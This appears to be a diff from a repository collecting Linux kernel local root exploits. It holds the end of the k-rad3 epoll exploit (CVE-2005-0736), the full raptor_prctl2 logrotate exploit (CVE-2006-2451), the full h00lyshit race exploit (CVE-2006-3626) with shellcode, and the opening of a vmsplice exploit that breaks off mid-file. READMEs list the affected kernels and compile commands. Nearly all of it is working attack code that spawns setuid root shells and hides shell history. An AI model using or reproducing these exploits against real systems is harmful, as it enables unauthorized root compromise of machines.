|
||||
void raise_cap(unsigned long *ts)
|
||||
{
|
||||
/* must be on lower addresses because of kernel arg check :) */
|
||||
static struct __user_cap_header_struct head;
|
||||
static struct __user_cap_data_struct data;
|
||||
static struct __user_cap_data_struct n;
|
||||
|
||||
int i;
|
||||
|
||||
*clear1 = 0;
|
||||
head.version = 0x19980330;
|
||||
head.pid = 0;
|
||||
capget(&head, &data);
|
||||
/* scan the thread_struct */
|
||||
for (i = 0; i < 512; i++, ts++)
|
||||
{
|
||||
/* is it capabilities block? */
|
||||
if ( (ts[0] == data.effective) &&
|
||||
(ts[1] == data.inheritable) &&
|
||||
(ts[2] == data.permitted))
|
||||
{
|
||||
/* set effective cap to some val */
|
||||
ts[0] = 0x12341234;
|
||||
capget(&head, &n);
|
||||
/* and test if it has changed */
|
||||
if (n.effective == ts[0])
|
||||
{
|
||||
/* if so, we're in :) */
|
||||
ts[0] = ts[1] = ts[2] = 0xffffffff;
|
||||
return;
|
||||
}
|
||||
/* otherwise fix back the stuff
|
||||
(if we've not crashed already :) */
|
||||
ts[0] = data.effective;
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
void stub(void);
|
||||
void __stub(void)
|
||||
{
|
||||
asm (
|
||||
"stub:;"
|
||||
" pusha;"
|
||||
);
|
||||
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
|
||||
asm(
|
||||
" and %esp, %eax;"
|
||||
" pushl (%eax);"
|
||||
" call raise_cap;"
|
||||
" pop %eax;"
|
||||
" popa;"
|
||||
" iret;"
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* write to kernel from buf, num bytes */
|
||||
static int
|
||||
kwrite(unsigned base, char *buf, int num)
|
||||
{
|
||||
#define DIV 256
|
||||
#define RES 4
|
||||
|
||||
int efd, c, i, fd;
|
||||
int pi[2];
|
||||
struct epoll_event ev;
|
||||
int *stab;
|
||||
unsigned long ptr;
|
||||
int count;
|
||||
unsigned magic = 0xffffffff / 12 + 1;
|
||||
|
||||
printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num);
|
||||
/* initialize epoll */
|
||||
efd = epoll_create(4096);
|
||||
if (efd < 0)
|
||||
return -1;
|
||||
|
||||
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
|
||||
|
||||
/* 12 bytes per fd + one more to be safely in stack space */
|
||||
count = (num+11)/12+RES;
|
||||
|
||||
/* desc array */
|
||||
stab = alloca((count+DIV-1)/DIV*sizeof(int));
|
||||
|
||||
for (i = 0; i < ((count+DIV-1)/DIV)+1; i++)
|
||||
{
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
|
||||
return -1;
|
||||
|
||||
send(pi[0], "a", 1, 0);
|
||||
stab[i] = pi[1];
|
||||
}
|
||||
|
||||
/* highest fd and first descriptor */
|
||||
fd = pi[1];
|
||||
/* we've to allocate this separately because we need to have
|
||||
it's fd preserved - using this we'll be writing actual bytes */
|
||||
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
|
||||
//printf("EPOLL_CTL_ADD count %u\n",count);
|
||||
for (i = 0, c = 0; i < (count-1); i++)
|
||||
{
|
||||
int n;
|
||||
n = dup2(stab[i/DIV], fd+2+(i % DIV));
|
||||
if (n < 0)
|
||||
return -1;
|
||||
epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
|
||||
close(n);
|
||||
}
|
||||
|
||||
/* in 'n' we've the latest fd we're using to write data */
|
||||
for (i = 0; i < ((num+7)/8); i++)
|
||||
{
|
||||
/* data being written from end */
|
||||
memcpy(&ev.data, buf + num - 8 - i * 8, 8);
|
||||
epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
|
||||
|
||||
/* the actual kernel magic */
|
||||
ptr = (base + num - (i*8)) - (count * 12);
|
||||
struct epoll_event *events =(struct epoll_event *)ptr;
|
||||
//printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic);
|
||||
int iret =epoll_wait(efd, (void *) ptr, magic, 31337);
|
||||
if (iret ==-1)
|
||||
{
|
||||
perror("epoll_wait");
|
||||
fatal("This kernel not vulnerability!!!");
|
||||
|
||||
}
|
||||
/* don't ask why (rotten rb-trees) :) */
|
||||
if (i)
|
||||
{
|
||||
//printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic);
|
||||
iret = epoll_wait(efd, (void *)ptr, magic, 31337);
|
||||
if (iret ==-1)
|
||||
{
|
||||
perror("epoll_wait");
|
||||
fatal("This kernel not vulnerability!!!");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
close(efd);
|
||||
for (i = 3; i <= fd; i++)
|
||||
close(i);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
/* real-mode interrupt table fixup - point all interrupts to iret.
|
||||
let's hope this will shut up apm */
|
||||
static void
|
||||
fixint(char *buf)
|
||||
{
|
||||
unsigned *tab = (void *) buf;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 256; i++)
|
||||
tab[i] = 0x0000400; /* 0000:0400h */
|
||||
/* iret */
|
||||
buf[0x400] =0xcf;
|
||||
}
|
||||
|
||||
/* establish pte pointing to virtual addr 'addr' */
|
||||
static int
|
||||
map_pte(unsigned base, int pagenr, unsigned addr)
|
||||
{
|
||||
unsigned *buf = alloca(pagenr * 4096 + 8);
|
||||
buf[(pagenr) * 1024] = MKPTE(addr);
|
||||
buf[(pagenr) * 1024+1] = 0;
|
||||
fixint((void *)buf);
|
||||
return kwrite(base, (void *)buf, pagenr * 4096 + 4);
|
||||
}
|
||||
|
||||
/* make pme user can rw */
|
||||
static int
|
||||
map_pme(unsigned base, int pagenr, unsigned addr)
|
||||
{
|
||||
unsigned *buf = alloca(pagenr * 4096 + 32);
|
||||
buf[(pagenr) * 1024] = MKPMD(addr);
|
||||
buf[(pagenr) * 1024+1] = 0;
|
||||
buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000;
|
||||
buf[(pagenr) * 1024+3] = 0;
|
||||
fixint((void *)buf);
|
||||
return kwrite(base, (void *)buf, pagenr * 4096 + 4*3);
|
||||
}
|
||||
|
||||
|
||||
static void
|
||||
error(int d)
|
||||
{
|
||||
printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *bashargv[] = { KRADPS1, NULL };
|
||||
char *bashenvp[] = { "TERM=linux", "PS1=[\\u@"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null",
|
||||
"HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null",
|
||||
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
|
||||
|
||||
static int
|
||||
exploit(unsigned kernelbase, int npages)
|
||||
{
|
||||
struct idt *idt;
|
||||
struct idtr idtr;
|
||||
|
||||
|
||||
|
||||
signal(SIGSEGV, error);
|
||||
signal(SIGBUS, error);
|
||||
|
||||
|
||||
/* get idt descriptor addr */
|
||||
asm ("sidt %0" : "=m" (idtr));
|
||||
/*
|
||||
* if OS in vmware , idtr.base is not right,please fix it
|
||||
* [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
|
||||
* c0461000 D idt_table
|
||||
* //idtr.base = 0xc0461000;
|
||||
*/
|
||||
|
||||
printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);
|
||||
|
||||
if ( !definePAE )
|
||||
{
|
||||
map_pte(kernelbase, npages, idtr.base - kernelbase);
|
||||
// idt = pae?(void *)MAP_PAE:(void *)MAP;
|
||||
idt = (struct idt *)MAP;
|
||||
}else
|
||||
{
|
||||
/* TODO: pse disable case */
|
||||
if ( !havepse)
|
||||
printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n");
|
||||
|
||||
map_pme(kernelbase, npages, idtr.base - kernelbase);
|
||||
idt = (struct idt *) idtr.base;
|
||||
}
|
||||
|
||||
#if 0
|
||||
int * p = (int *) idt;
|
||||
int i;
|
||||
for (i=0;i<1024;i++,p++)
|
||||
printf( "* %p 0x%x\n",p,*p);
|
||||
fflush(stdout);
|
||||
#endif
|
||||
|
||||
/**
|
||||
* cleanup the stuff to prevent others spotting the gate
|
||||
* - must be done from ring 0
|
||||
*/
|
||||
clear1 = (void *) &idt[0x7f];
|
||||
printf("[+] idt[0x7f] addr %p\n",clear1);
|
||||
|
||||
if ( exploitway == 0)
|
||||
{
|
||||
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode));
|
||||
}
|
||||
else
|
||||
{
|
||||
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
|
||||
}
|
||||
|
||||
//[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
|
||||
/**
|
||||
* also can use [2] stub function,but it may cause this message
|
||||
*
|
||||
* Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531
|
||||
* Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c011ca30>] __might_sleep+0x7d/0x89
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c01270bd>] sys_capget+0x1d5/0x216
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c0301bfb>] syscall_call+0x7/0xb
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c017007b>] pipe_writev+0x24/0x320
|
||||
* Sep 11 13:11:59 AD4 kernel: [<c01619a4>] filp_close+0x59/0x5f
|
||||
*
|
||||
*/
|
||||
|
||||
/* call raise_cap or kernel */
|
||||
asm ("int $0x7f");
|
||||
printf(KRADP "j00 1u(k7 k1d!\n");
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
char cmdbuf[1024];
|
||||
snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0);
|
||||
system(cmdbuf);
|
||||
|
||||
execve("/bin/sh", bashargv, bashenvp);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
static void
|
||||
usage(char *n)
|
||||
{
|
||||
|
||||
printf("\nUsage: %s\n",n);
|
||||
printf("\t-s forced cpu flag pse \n");
|
||||
printf("\t-a define CONFIG_X86_PAE,default none\n");
|
||||
printf("\t-e <num> have two kernel code,default 0\n");
|
||||
printf("\t-p <num> alloc pages(4k) ,default 1. Increase from 1 to 7\n"
|
||||
"\t\tThe higher number the more likely it will crash\n");
|
||||
printf("\t-t <num> default 0 \n"
|
||||
"\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n");
|
||||
printf("\n");
|
||||
_exit(1);
|
||||
}
|
||||
|
||||
|
||||
/*read /proc/cpuinfo to set havepse*/
|
||||
static void
|
||||
read_proc(void)
|
||||
{
|
||||
FILE * fp;
|
||||
char * line = NULL;
|
||||
size_t len = 0;
|
||||
ssize_t read;
|
||||
printf("[+] try open /proc/cpuinfo ..");
|
||||
fp = fopen("/proc/cpuinfo", "r");
|
||||
if (fp == NULL)
|
||||
{
|
||||
printf(" failed!!\n");
|
||||
return;
|
||||
}
|
||||
printf(" ok!!\n");
|
||||
|
||||
int cpus = 0;
|
||||
int pse = 0;
|
||||
while ((read = getline(&line, &len, fp)) != -1)
|
||||
{
|
||||
|
||||
if (strstr(line,"flags"))
|
||||
{
|
||||
if(strstr(line ,"pse "))
|
||||
{
|
||||
pse ++;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
if (line)
|
||||
free(line);
|
||||
|
||||
if ( pse )
|
||||
{
|
||||
printf("[+] find cpu flag pse in /proc/cpuinfo\n");
|
||||
havepse = 1;
|
||||
}
|
||||
|
||||
return ;
|
||||
|
||||
}
|
||||
|
||||
static void
|
||||
get_config(int ac, char **av)
|
||||
{
|
||||
|
||||
uid = getuid();
|
||||
progargv0 = av[0];
|
||||
|
||||
int r;
|
||||
|
||||
while(ac) {
|
||||
r = getopt(ac, av, "e:p:t:ash");
|
||||
|
||||
if(r<0) break;
|
||||
|
||||
switch(r) {
|
||||
|
||||
case 's' :
|
||||
//pse
|
||||
havepse = 1;
|
||||
break;
|
||||
|
||||
case 'a' :
|
||||
//define CONFIG_X86_PAE
|
||||
definePAE = 1;
|
||||
break;
|
||||
|
||||
case 'e' :
|
||||
exploitway = atoi(optarg);
|
||||
if(exploitway<0) fatal("bad exploitway value");
|
||||
break;
|
||||
|
||||
case 'p' :
|
||||
npages = atoi(optarg);
|
||||
break;
|
||||
case 't' :
|
||||
thread_size = atoi(optarg);
|
||||
|
||||
break;
|
||||
|
||||
case 'h' :
|
||||
default:
|
||||
usage(av[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192);
|
||||
|
||||
read_proc();
|
||||
}
|
||||
|
||||
static void
|
||||
print_config(unsigned long kernebase)
|
||||
{
|
||||
printf("[+] CONFIG_X86_PAE :%s\n", definePAE ?"ok":"none");
|
||||
printf("[+] Cpu flag: pse %s\n", havepse ?"ok":"none");
|
||||
printf("[+] Exploit Way : %d\n", exploitway);
|
||||
printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n",
|
||||
npages,kernebase,kernebase+npages*4 kB);
|
||||
printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
|
||||
void prepare(void)
|
||||
{
|
||||
if (geteuid() == 0)
|
||||
{
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execve("/bin/sh", bashargv, bashenvp);
|
||||
fatal("[-] Unable to spawn shell");
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
char eater[65536];
|
||||
unsigned long kernelbase;
|
||||
|
||||
/* unlink(argv[0]); */
|
||||
// sync();
|
||||
|
||||
printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n"
|
||||
KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n"
|
||||
KRS "Modified 2005/9 by alert7 <alert7@xfocus.org>" KRE "\n");
|
||||
|
||||
if ( (unsigned long)eater > 0xc0000000)
|
||||
{
|
||||
printf("[!Waring!] TODO:use stack > 0xc0000000 \n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
prepare();
|
||||
|
||||
get_config(argc,argv);
|
||||
|
||||
kernelbase =(unsigned long)eater ;
|
||||
kernelbase +=0x0fffffff;
|
||||
kernelbase &=0xf0000000;
|
||||
|
||||
print_config(kernelbase);
|
||||
|
||||
exploit(kernelbase, npages<0?-npages:npages);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
// milw0rm.com [2005-12-30]
|
|
@ -0,0 +1,19 @@
|
|||
# CVE-2005-0736
|
||||
|
||||
CVE-2005-0736
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2005-0736](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-0736)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/1397/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -o k-rad3 k-rad3.c -static -O2
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,109 @@
|
|||
/*
|
||||
* $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
|
||||
*
|
||||
* raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
|
||||
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
|
||||
* 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial
|
||||
* of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via
|
||||
* the PR_SET_DUMPABLE argument of the prctl function and a program that causes
|
||||
* a core dump file to be created in a directory for which the user does not
|
||||
* have permissions (CVE-2006-2451).
|
||||
*
|
||||
* This exploit uses the logrotate attack vector: of course, you must be able
|
||||
* to chdir() into the /etc/logrotate.d directory in order to exploit the
|
||||
* vulnerability. I've experimented a bit with other attack vectors as well,
|
||||
* with no luck: at (/var/spool/atjobs/) uses file name information to
|
||||
* establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x
|
||||
* permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled
|
||||
* coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
|
||||
*
|
||||
* Thanks to Solar Designer for the interesting discussion on attack vectors.
|
||||
*
|
||||
* NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
|
||||
* [exploit must be statically linked]
|
||||
* $ ./raptor_prctl2
|
||||
* [please wait until logrotate is run]
|
||||
* $ ls -l /tmp/pwned
|
||||
* -rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
|
||||
* $ /tmp/pwned
|
||||
* sh-3.00# id
|
||||
* uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
|
||||
* sh-3.00#
|
||||
* [don't forget to delete /tmp/pwned!]
|
||||
*
|
||||
* Vulnerable platforms:
|
||||
* Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
|
||||
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
char payload[] = /* commands to be executed by privileged logrotate */
|
||||
"\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n";
|
||||
|
||||
char pwnage[] = /* build setuid() helper to circumvent bash checks */
|
||||
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int pid;
|
||||
struct rlimit corelimit;
|
||||
struct stat st;
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* prepare the setuid() helper */
|
||||
system(pwnage);
|
||||
|
||||
/* set core size to unlimited */
|
||||
corelimit.rlim_cur = RLIM_INFINITY;
|
||||
corelimit.rlim_max = RLIM_INFINITY;
|
||||
setrlimit(RLIMIT_CORE, &corelimit);
|
||||
|
||||
/* let's create a fake logfile in /var/log */
|
||||
if (!(pid = fork())) {
|
||||
chdir("/var/log");
|
||||
prctl(PR_SET_DUMPABLE, 2);
|
||||
sleep(666);
|
||||
exit(1);
|
||||
}
|
||||
kill(pid, SIGSEGV);
|
||||
|
||||
/* let's do the PR_SET_DUMPABLE magic */
|
||||
if (!(pid = fork())) {
|
||||
chdir("/etc/logrotate.d");
|
||||
prctl(PR_SET_DUMPABLE, 2);
|
||||
sleep(666);
|
||||
exit(1);
|
||||
}
|
||||
kill(pid, SIGSEGV);
|
||||
|
||||
/* did it work? */
|
||||
sleep(3);
|
||||
if ((stat("/var/log/core", &st) < 0) ||
|
||||
(stat("/etc/logrotate.d/core", &st) < 0)) {
|
||||
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* total pwnage */
|
||||
fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// milw0rm.com [2006-07-18]
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# CVE-2006-2451
|
||||
|
||||
CVE-2006-2451
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2006-2451](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2451)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/2031/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
|
||||
[exploit must be statically linked]
|
||||
$ ./raptor_prctl2
|
||||
[please wait until logrotate is run]
|
||||
$ ls -l /tmp/pwned
|
||||
-rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
|
||||
$ /tmp/pwned
|
||||
```
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,194 @@
|
|||
/*
|
||||
** Author: h00lyshit
|
||||
** Vulnerable: Linux 2.6 ALL
|
||||
** Type of Vulnerability: Local Race
|
||||
** Tested On : various distros
|
||||
** Vendor Status: unknown
|
||||
**
|
||||
** Disclaimer:
|
||||
** In no event shall the author be liable for any damages
|
||||
** whatsoever arising out of or in connection with the use
|
||||
** or spread of this information.
|
||||
** Any use of this information is at the user's own risk.
|
||||
**
|
||||
** Compile:
|
||||
** gcc h00lyshit.c -o h00lyshit
|
||||
**
|
||||
** Usage:
|
||||
** h00lyshit <very big file on the disk>
|
||||
**
|
||||
** Example:
|
||||
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
|
||||
**
|
||||
** if y0u dont have one, make big file (~100MB) in /tmp with dd
|
||||
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
|
||||
**
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <linux/a.out.h>
|
||||
#include <asm/unistd.h>
|
||||
|
||||
|
||||
static struct exec ex;
|
||||
static char *e[256];
|
||||
static char *a[4];
|
||||
static char b[512];
|
||||
static char t[256];
|
||||
static volatile int *c;
|
||||
|
||||
|
||||
/* h00lyshit shell code */
|
||||
__asm__ (" __excode: call 1f \n"
|
||||
" 1: mov $23, %eax \n"
|
||||
" xor %ebx, %ebx \n"
|
||||
" int $0x80 \n"
|
||||
" pop %eax \n"
|
||||
" mov $cmd-1b, %ebx \n"
|
||||
" add %eax, %ebx \n"
|
||||
" mov $arg-1b, %ecx \n"
|
||||
" add %eax, %ecx \n"
|
||||
" mov %ebx, (%ecx) \n"
|
||||
" mov %ecx, %edx \n"
|
||||
" add $4, %edx \n"
|
||||
" mov $11, %eax \n"
|
||||
" int $0x80 \n"
|
||||
" mov $1, %eax \n"
|
||||
" int $0x80 \n"
|
||||
" arg: .quad 0x00, 0x00 \n"
|
||||
" cmd: .string \"/bin/sh\" \n"
|
||||
" __excode_e: nop \n"
|
||||
" .global __excode \n"
|
||||
" .global __excode_e \n"
|
||||
);
|
||||
|
||||
|
||||
|
||||
extern void (*__excode) (void);
|
||||
extern void (*__excode_e) (void);
|
||||
|
||||
|
||||
void
|
||||
error (char *err)
|
||||
{
|
||||
perror (err);
|
||||
fflush (stderr);
|
||||
exit (1);
|
||||
}
|
||||
|
||||
|
||||
/* exploit this shit */
|
||||
void
|
||||
exploit (char *file)
|
||||
{
|
||||
int i, fd;
|
||||
void *p;
|
||||
struct stat st;
|
||||
|
||||
printf ("\ntrying to exploit %s\n\n", file);
|
||||
fflush (stdout);
|
||||
chmod ("/proc/self/environ", 04755);
|
||||
c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
|
||||
memset ((void *) c, 0, 4096);
|
||||
|
||||
/* slow down machine */
|
||||
fd = open (file, O_RDONLY);
|
||||
fstat (fd, &st);
|
||||
p =
|
||||
(void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
|
||||
if (p == MAP_FAILED)
|
||||
error ("mmap");
|
||||
prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
|
||||
sprintf (t, "/proc/%d/environ", getpid ());
|
||||
sched_yield ();
|
||||
execve (NULL, a, e);
|
||||
madvise (0, 0, MADV_WILLNEED);
|
||||
i = fork ();
|
||||
|
||||
/* give it a try */
|
||||
if (i)
|
||||
{
|
||||
(*c)++;
|
||||
!madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
|
||||
prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
|
||||
sched_yield ();
|
||||
}
|
||||
else
|
||||
{
|
||||
nice(10);
|
||||
while (!(*c));
|
||||
sched_yield ();
|
||||
execve (t, a, e);
|
||||
error ("failed");
|
||||
}
|
||||
|
||||
waitpid (i, NULL, 0);
|
||||
exit (0);
|
||||
}
|
||||
|
||||
|
||||
int
|
||||
main (int ac, char **av)
|
||||
{
|
||||
int i, j, k, s;
|
||||
char *p;
|
||||
|
||||
memset (e, 0, sizeof (e));
|
||||
memset (a, 0, sizeof (a));
|
||||
a[0] = strdup (av[0]);
|
||||
a[1] = strdup (av[0]);
|
||||
a[2] = strdup (av[1]);
|
||||
|
||||
if (ac < 2)
|
||||
error ("usage: binary <big file name>");
|
||||
if (ac > 2)
|
||||
exploit (av[2]);
|
||||
printf ("\npreparing");
|
||||
fflush (stdout);
|
||||
|
||||
/* make setuid a.out */
|
||||
memset (&ex, 0, sizeof (ex));
|
||||
N_SET_MAGIC (ex, NMAGIC);
|
||||
N_SET_MACHTYPE (ex, M_386);
|
||||
s = ((unsigned) &__excode_e) - (unsigned) &__excode;
|
||||
ex.a_text = s;
|
||||
ex.a_syms = -(s + sizeof (ex));
|
||||
|
||||
memset (b, 0, sizeof (b));
|
||||
memcpy (b, &ex, sizeof (ex));
|
||||
memcpy (b + sizeof (ex), &__excode, s);
|
||||
|
||||
/* make environment */
|
||||
p = b;
|
||||
s += sizeof (ex);
|
||||
j = 0;
|
||||
for (i = k = 0; i < s; i++)
|
||||
{
|
||||
if (!p[i])
|
||||
{
|
||||
e[j++] = &p[k];
|
||||
k = i + 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* reexec */
|
||||
getcwd (t, sizeof (t));
|
||||
strcat (t, "/");
|
||||
strcat (t, av[0]);
|
||||
execve (t, a, e);
|
||||
error ("execve");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2006-07-15]
|
|
@ -0,0 +1,24 @@
|
|||
# CVE-2006-3626
|
||||
|
||||
CVE-2006-3626
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2006-3626](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3626)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/2013/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16
|
||||
```
|
||||
## Usage
|
||||
```
|
||||
Compile:
|
||||
gcc h00lyshit.c -o h00lyshit
|
||||
**
|
||||
Usage:
|
||||
h00lyshit <very big file on the disk>
|
||||
**
|
||||
Example:
|
||||
h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
|
||||
```
|
||||
|
|
@ -0,0 +1,147 @@
|
|||
/*
|
||||
* diane_lane_fucked_hard.c
|
||||
*
|
||||
* Linux vmsplice Local Root Exploit
|
||||
* By qaaz
|
||||
*
|
||||
* Linux 2.6.23 - 2.6.24
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/uio.h>
|
||||
|
||||
#define TARGET_PATTERN " sys_vm86old"
|
||||
#define TARGET_SYSCALL 113
|
||||
|
||||
#ifndef __NR_vmsplice
|
||||
#define __NR_vmsplice 316
|
||||
#endif
|
||||
|
||||
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
|
||||
#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
|
||||
|
||||
#define TRAMP_CODE (void *) trampoline
|
||||
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )
|
||||
|
||||
unsigned char trampoline[] =
|
||||
"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */
|
||||
"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */
|
||||
"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */
|
||||
"\x75\x02" /* jne +2 */
|
||||
"\xff\xd1" /* call *%ecx */
|
||||
"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */
|
||||
"\xc3" /* ret */
|
||||
;
|
||||
|
||||
void die(char *msg, int err)
|
||||
{
|
||||
